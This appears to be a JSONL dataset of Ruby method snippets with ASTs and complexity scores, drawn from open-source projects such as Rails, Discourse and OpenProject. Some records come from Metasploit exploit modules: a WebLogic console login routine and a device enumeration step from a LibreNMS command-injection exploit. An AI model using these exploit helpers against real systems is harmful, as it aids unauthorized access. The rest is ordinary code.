{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/platform/orders_controller.rb","start_line":54,"raw_source":"def cancel\n            result = cancel_service.call(order: resource, canceler: spree_current_user)\n\n            render_result(result)\n          end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cancel\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cancel_service\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"send\",\"children\":[null,\"resource\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"canceler\"]},{\"type\":\"send\",\"children\":[null,\"spree_current_user\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_result\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"ffdc9efa-49db-4eac-9715-ae74dfdb95c1"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/channel/instagram.rb","start_line":59,"raw_source":"def unsubscribe\n    HTTParty.delete(\n      \"https://graph.instagram.com/v22.0/#{instagram_id}/subscribed_apps\",\n      query: {\n        access_token: access_token\n      }\n    )\n    true\n  rescue StandardError => e\n    Rails.logger.debug { \"Rescued: #{e.inspect}\" }\n    true\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"unsubscribe\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HTTParty\"]},\"delete\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://graph.instagram.com/v22.0/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instagram_id\"]}]},{\"type\":\"str\",\"children\":[\"/subscribed_apps\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"access_token\"]},{\"type\":\"send\",\"children\":[null,\"access_token\"]}]}]}]}]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"debug\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Rescued: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"inspect\"]}]}]}]},{\"type\":\"true\",\"children\":[]}]}]},null]}]}","id":"cb267493-7fa2-4617-99ed-4af98b8522a1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/oats_weblogic_console.rb","start_line":129,"raw_source":"def do_login\n    uri = normalize_uri(target_uri.path, 'console', 'login', 'LoginForm.jsp')\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => uri\n    })\n\n    fail_with(Failure::Unknown, 'No response from server') unless res\n    set_admin_console_session(res)\n\n    uri = normalize_uri(target_uri.path, 'console', 'j_security_check')\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => uri,\n      'cookie' => \"ADMINCONSOLESESSION=#{login_spec.admin_console_session}\",\n      'vars_post' =>\n        {\n          'j_username' => datastore['OATSUSERNAME'],\n          'j_password' => datastore['OATSPASSWORD'],\n          'j_character_encoding' => 'UTF-8'\n        }\n    })\n\n    fail_with(Failure::Unknown, 'No response while trying to log in') unless res\n    fail_with(Failure::NoAccess, 'Failed to login') unless is_logged_in?(res)\n    store_valid_credential(user: datastore['OATSUSERNAME'], private: datastore['OATSPASSWORD'])\n    set_admin_console_session(res)\n  end","complexity_score":36.5,"ast_json":"{\"type\":\"def\",\"children\":[\"do_login\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"console\"]},{\"type\":\"str\",\"children\":[\"login\"]},{\"type\":\"str\",\"children\":[\"LoginForm.jsp\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"No response from server\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_admin_console_session\",{\"type\":\"lvar\",\"children\":[\"res\"]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"console\"]},{\"type\":\"str\",\"children\":[\"j_security_check\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ADMINCONSOLESESSION=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"login_spec\"]},\"admin_console_session\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"j_username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OATSUSERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"j_password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OATSPASSWORD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"j_character_encoding\"]},{\"type\":\"str\",\"children\":[\"UTF-8\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"No response while trying to log in\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_logged_in?\",{\"type\":\"lvar\",\"children\":[\"res\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"Failed to login\"]}]}]},{\"type\":\"send\",\"children\":[null,\"store_valid_credential\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OATSUSERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OATSPASSWORD\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"set_admin_console_session\",{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]}","id":"85f597f0-c2fb-4bfa-88ca-e559ef064271"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/supervisor.rb","start_line":516,"raw_source":"def send_signal_to_workers(signal)\n      return unless config[:worker_pid]\n\n      if Fluent.windows?\n        send_command_to_workers(signal)\n      else\n        config[:worker_pid].each_value do |pid|\n          # don't rescue Errno::ESRCH here (invalid status)\n          Process.kill(signal, pid)\n        end\n      end\n    end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"send_signal_to_workers\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"signal\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"worker_pid\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"windows?\"]},{\"type\":\"send\",\"children\":[null,\"send_command_to_workers\",{\"type\":\"lvar\",\"children\":[\"signal\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"worker_pid\"]}]},\"each_value\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"kill\",{\"type\":\"lvar\",\"children\":[\"signal\"]},{\"type\":\"lvar\",\"children\":[\"pid\"]}]}]}]}]}]}","id":"30bcee66-996f-4e4a-bf1d-f50fb99ba4a0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250109164504_create_ci_gitlab_hosted_runner_monthly_usages.rb","start_line":44,"raw_source":"def down\n    drop_table :ci_gitlab_hosted_runner_monthly_usages if table_exists? :ci_gitlab_hosted_runner_monthly_usages\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_exists?\",{\"type\":\"sym\",\"children\":[\"ci_gitlab_hosted_runner_monthly_usages\"]}]},{\"type\":\"send\",\"children\":[null,\"drop_table\",{\"type\":\"sym\",\"children\":[\"ci_gitlab_hosted_runner_monthly_usages\"]}]},null]}]}","id":"c88d9588-3971-42e9-8909-2219b9bf4f18"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/coders/yaml_column_test.rb","start_line":22,"raw_source":"def test_type_mismatch_on_different_classes_on_dump\n        coder = YAMLColumn.new(\"tags\", Array)\n        error = assert_raises(SerializationTypeMismatch) do\n          coder.dump(\"a\")\n        end\n        assert_equal %{can't dump `tags`: was supposed to be a Array, but was a String. -- \"a\"}, error.to_s\n      end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_type_mismatch_on_different_classes_on_dump\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"coder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAMLColumn\"]},\"new\",{\"type\":\"str\",\"children\":[\"tags\"]},{\"type\":\"const\",\"children\":[null,\"Array\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"SerializationTypeMismatch\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"dump\",{\"type\":\"str\",\"children\":[\"a\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"can't dump `tags`: was supposed to be a Array, but was a String. -- \\\"a\\\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"to_s\"]}]}]}]}","id":"6e55f94c-5277-42c6-8385-b66a28d46bdf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb","start_line":47,"raw_source":"def initialize(shell)\n    super\n\n    Dispatchers.each { |d|\n      shell.enstack_dispatcher(d)\n    }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"shell\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dispatchers\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shell\"]},\"enstack_dispatcher\",{\"type\":\"lvar\",\"children\":[\"d\"]}]}]}]}]}","id":"9891117b-2d51-4488-9b55-14e74c0ecf83"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/evals/lib/runner.rb","start_line":10,"raw_source":"def log(name, args: nil, start_time: nil, end_time: nil)\n      start_time ||= Time.now.utc\n      end_time ||= Time.now.utc\n      args ||= {}\n      object = { name: name, args: args, start_time: start_time, end_time: end_time }\n      @current_step << object\n    end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"log\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwoptarg\",\"children\":[\"args\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"start_time\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"end_time\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"end_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"args\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"object\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_time\"]},{\"type\":\"lvar\",\"children\":[\"start_time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_time\"]},{\"type\":\"lvar\",\"children\":[\"end_time\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_step\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}]}","id":"b86e6314-5ae2-476f-ba3e-316076b31469"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb","start_line":132,"raw_source":"def get_device_ids\n    version = get_version\n    print_status(\"LibreNMS version: #{version}\")\n\n    if version && Rex::Version.new(version) < Rex::Version.new('1.50')\n      dev_uri = normalize_uri(target_uri.path, 'ajax_table.php')\n      format = '+list_detail'\n    else\n      dev_uri = normalize_uri(target_uri.path, 'ajax', 'table', 'device')\n      format = 'list_detail'\n    end\n\n    dev_res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => dev_uri,\n      'cookie' => @cookies,\n      'vars_post' =>\n      {\n        'id' => 'devices',\n        'format' => format,\n        'current' => '1',\n        'sort[hostname]' => 'asc',\n        'rowCount' => 50\n      }\n    )\n\n    fail_with(Failure::NotFound, 'Failed to access the devices page') unless dev_res && dev_res.code == 200\n\n    json = JSON.parse(dev_res.body)\n    fail_with(Failure::NotFound, 'Unable to retrieve JSON response') if json.empty?\n\n    json = json['rows']\n    fail_with(Failure::NotFound, 'Unable to find hostname data') if json.empty?\n\n    hosts = []\n    json.each do |row|\n      hostname = row['hostname']\n      next if hostname.nil?\n\n      id = hostname.match('href=\\\"device\\/device=(\\d+)\\/')\n      next unless id && id.length > 1\n\n      hosts << id[1]\n    end\n\n    fail_with(Failure::NotFound, 'Failed to retrieve any device ids') if hosts.empty?\n\n    hosts\n  end","complexity_score":63.3,"ast_json":"{\"type\":\"def\",\"children\":[\"get_device_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[null,\"get_version\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"LibreNMS version: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"1.50\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dev_uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"ajax_table.php\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"format\",{\"type\":\"str\",\"children\":[\"+list_detail\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dev_uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"ajax\"]},{\"type\":\"str\",\"children\":[\"table\"]},{\"type\":\"str\",\"children\":[\"device\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"format\",{\"type\":\"str\",\"children\":[\"list_detail\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dev_res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"dev_uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"ivar\",\"children\":[\"@cookies\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"devices\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"format\"]},{\"type\":\"lvar\",\"children\":[\"format\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"current\"]},{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sort[hostname]\"]},{\"type\":\"str\",\"children\":[\"asc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"rowCount\"]},{\"type\":\"int\",\"children\":[50]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dev_res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dev_res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"str\",\"children\":[\"Failed to access the devices page\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"json\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dev_res\"]},\"body\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"str\",\"children\":[\"Unable to retrieve JSON response\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"json\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"rows\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"str\",\"children\":[\"Unable to find hostname data\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"hosts\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hostname\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"hostname\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hostname\"]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hostname\"]},\"match\",{\"type\":\"str\",\"children\":[\"href=\\\\\\\"device\\\\/device=(\\\\d+)\\\\/\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[1]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hosts\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hosts\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"str\",\"children\":[\"Failed to retrieve any device ids\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"hosts\"]}]}]}","id":"7dcb0c9c-9cfb-4c60-a9c6-96e7b76242a1"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/shares_controller.rb","start_line":197,"raw_source":"def respond_with_new_invite_form\n    replace_via_turbo_stream(\n      component: Shares::InviteUserFormComponent.new(\n        strategy: sharing_strategy,\n        errors: @errors\n      )\n    )\n\n    respond_with_turbo_streams\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_with_new_invite_form\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"replace_via_turbo_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"component\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Shares\"]},\"InviteUserFormComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"strategy\"]},{\"type\":\"send\",\"children\":[null,\"sharing_strategy\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"ivar\",\"children\":[\"@errors\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"respond_with_turbo_streams\"]}]}]}","id":"1c19d5d5-0788-4982-ba6b-3c3e7247a949"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/components/composer.rb","start_line":19,"raw_source":"def enabled?\n          component.has_css?(\".chat-composer.is-enabled\")\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"component\"]},\"has_css?\",{\"type\":\"str\",\"children\":[\".chat-composer.is-enabled\"]}]}]}","id":"ab5353e5-38c1-466a-af91-a28b5ec306ac"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/grids/app/contracts/grids/base_contract.rb","start_line":111,"raw_source":"def validate_positive_integer(attribute)\n      value = model.send(attribute)\n\n      if !value\n        errors.add(attribute, :blank)\n      elsif value < 1\n        errors.add(attribute, :greater_than, count: 0)\n      end\n    end","complexity_score":14.73,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_positive_integer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"sym\",\"children\":[\"blank\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"<\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"sym\",\"children\":[\"greater_than\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},null]}]}]}]}","id":"5c6026ec-3ab7-4d05-8966-7db90198b952"}
